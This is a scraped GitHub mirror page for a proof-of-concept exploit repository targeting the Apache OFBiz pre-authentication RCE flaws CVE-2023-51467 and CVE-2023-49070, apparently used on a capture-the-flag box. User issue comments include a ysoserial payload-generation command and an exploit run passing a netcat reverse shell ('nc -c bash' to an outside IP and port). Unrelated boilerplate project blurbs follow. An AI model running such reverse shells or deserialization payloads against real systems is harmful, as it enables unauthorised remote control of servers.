jakabakos / apache-ofbiz-authentication-bypass Goto Github PK
View Code? Open in Web Editor NEWThis repo is a PoC with to exploit CVE-2023-51467 and CVE-2023-49070 preauth RCE vulnerabilities found in Apache OFBiz.
This repo is a PoC with to exploit CVE-2023-51467 and CVE-2023-49070 preauth RCE vulnerabilities found in Apache OFBiz.
Get the following error when I try to utilize this Exploit.
Traceback (most recent call last): File "/home/x/Boxes/Bizness/exploit.py", line 117, in <module> main() File "/home/x/Boxes/Bizness/exploit.py", line 112, in main command = f"{os.environ['JAVA_HOME']}/bin/java -jar --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens java.base/java.net=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED ysoserial-all.jar CommonsBeanutils1 '{args.cmd}'" ~~~~~~~~~~^^^^^^^^^^^^^ File "<frozen os>", line 679, in __getitem__ KeyError: 'JAVA_HOME'
Have tried running it from two different pwnboxes/OS
Max retries exceeded because of (SSLError(1, '[SSL: WRONG_VERSION_NUMBER] wrong version number (_ssl.c:1006)'))
If you can help me understand how to troubleshoot that ? That will be kind ๐
python3 exploit.py --url https://10.10.11.252/ --cmd 'nc -c bash 10.10.14.223 8080'
[+] Generating payload...
Error: Unable to access jarfile java.base/java.net=ALL-UNNAMED
[+] Payload generated successfully.
[+] Sending malicious serialized payload...
[+] The request has been successfully sent. Check the result of the command.
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.